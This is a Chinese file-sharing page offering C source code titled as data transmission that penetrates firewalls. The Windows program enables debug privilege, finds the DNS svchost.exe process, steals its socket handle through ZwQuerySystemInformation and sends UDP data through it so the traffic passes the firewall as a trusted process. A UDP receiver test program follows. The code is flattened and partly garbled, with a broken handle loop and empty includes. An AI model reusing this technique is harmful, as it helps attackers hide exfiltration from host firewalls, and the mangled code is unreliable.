穿透防火墙的数据传输源码下载_Word模板_16

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穿透防火墙的数据传输源码穿透防火墙的数据传输源码穿透防火墙的数据传输源码- - #include #include #include #pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG NTSTATUS; ...

穿透防火墙的数据传输源码穿透防火墙的数据传输源码- - #include #include #include #pragma comment(lib, "ws2_32") #pragma comment(lib, "wtsapi32") #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) typedef LONG NTSTATUS; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; BOOL LocateNtdllEntry ( void ) { BOOL ret = FALSE; char NTDLL_DLL[] = "ntdll.dll"; HMODULE ntdll_dll = NULL; if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL ) { printf( "GetModuleHandle() failed"); return( FALSE ); } if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) ) { goto LocateNtdllEntry_exit; } ret = TRUE; LocateNtdllEntry_exit: if ( FALSE == ret ) { printf( "GetProcAddress() failed"); } ntdll_dll = NULL; return( ret ); } /*++ This routine is used to get a process's username from it's SID --*/ BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName) { // sanity checks and default value if (pUserSid == NULL) return false; strcpy(szUserName, "?"); SID_NAME_USE snu; TCHAR szUser[_MAX_PATH]; DWORD chUser = _MAX_PATH; PDWORD pcchUser = &chUser; TCHAR szDomain[_MAX_PATH]; DWORD chDomain = _MAX_PATH; PDWORD pcchDomain = &chDomain; // Retrieve user name and domain name based on user's SID. if ( ::LookupAccountSid( NULL, pUserSid, szUser, pcchUser, szDomain, pcchDomain, &snu ) ) { wsprintf(szUserName, "%s", szUser); } else { return false; } return true; } /*++ This routine is used to get the DNS process's Id Here, I use WTSEnumerateProcesses to get process user Sid, and then get the process user name. Beacause as it's a "NETWORK SERVICE", we cann't use OpenProcessToken to catch the DNS process's token information, even if we has the privilege in catching the SYSTEM's. --*/ DWORD GetDNSProcessId() { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; char szUserName[255]; DWORD Id = -1; if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) { if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 ) { GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName); if( strcmp(szUserName, "NETWORK SERVICE") == 0) { Id = pProcessInfo[CurrentProcess].ProcessId; break; } } } WTSFreeMemory(pProcessInfo); } return Id; } /*++ This doesn't work as we know, sign... but you can use the routine for other useing... --*/ /* BOOL GetProcessUserFromId(char *szAccountName, DWORD PID) { HANDLE hProcess = NULL, hAccessToken = NULL; TCHAR InfoBuffer[1000], szDomainName[200]; PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer; DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200; SID_NAME_USE snu; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID); if(hProcess == NULL) { printf("OpenProcess wrong"); CloseHandle(hProcess); return false; } if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken)) { printf("OpenProcessToken wrong:%08x", GetLastError()); return false; } GetTokenInformation(hAccessToken,TokenUser,InfoBuffer, 1000, &dwInfoBufferSize); LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName, &dwAccountSize,szDomainName, &dwDomainSize, &snu); if(hProcess) CloseHandle(hProcess); if(hAccessToken) CloseHandle(hAccessToken); return true; }*/ /*++ Now, it is the most important stuff... ^_^ --*/ SOCKET GetSocketFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; HANDLE sock = NULL; DWORD n; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return NULL; } status = ZwQuerySystemInformation( 0x10, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return NULL; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i0) // if port > 0, then we can use it break; } } catch(...) { continue; } } if ( buf != NULL ) { free( buf ); } return (SOCKET)sock; } /*++ This is not required... --*/ BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv; TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegevalue ( 0, name, &priv.Privileges[0].Luid ); priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken ); AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS; CloseHandle (hToken); return rv; } void main() { WSADATA wsaData; char testbuf[255]; SOCKET sock; sockaddr_in RecvAddr; int iResult = WSAStartup(MAKEWORD(2,2), &wsaData); if (iResult != NO_ERROR) printf("Error at WSAStartup()\n"); if(!LocateNtdllEntry()) return; if(!EnablePrivilege (SE_DEBUG_NAME)) { printf("EnablePrivilege wrong\n"); return; } sock = GetSocketFromId(GetDNSProcessId()); if( sock==NULL) { printf("GetSocketFromId wrong\n"); return; } //Change there value... RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(5555); RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(SOCKET_ERROR == sendto(sock, "test", 5, 0, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr))) { printf("sendto wrong:%d\n", WSAGetLastError()); } else { printf("send ok... Have fun, right? ^_^\n"); } getchar(); //WSACleanup(); return; } 测试代码部分: /*++ UdpReceiver --*/ #include #include "winsock2.h" #pragma comment(lib, "ws2_32") void main() { WSADATA wsaData; SOCKET RecvSocket; sockaddr_in RecvAddr; int Port = 5555; char RecvBuf[1024]; int BufLen = 1024; sockaddr_in SenderAddr; int SenderAddrSize = sizeof(SenderAddr); //----------------------------------------------- // Initialize Winsock WSAStartup(MAKEWORD(2,2), &wsaData); //----------------------------------------------- // Create a receiver socket to receive datagrams RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); //----------------------------------------------- // Bind the socket to any address and the specified port. RecvAddr.sin_family = AF_INET; RecvAddr.sin_port = htons(Port); RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY); bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr)); //----------------------------------------------- // Call the recvfrom function to receive datagrams // on the bound socket. printf("Receiving datagrams...\n"); while(1) { recvfrom(RecvSocket, RecvBuf, BufLen, 0, (SOCKADDR *)&SenderAddr, &SenderAddrSize); printf("%s\n", RecvBuf); } //----------------------------------------------- // Close the socket when finished receiving datagrams printf("Finished receiving. Closing socket.\n"); closesocket(RecvSocket); //----------------------------------------------- // Clean up and exit. printf("Exiting.\n"); WSACleanup(); return; }

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穿透防火墙的数据传输源码

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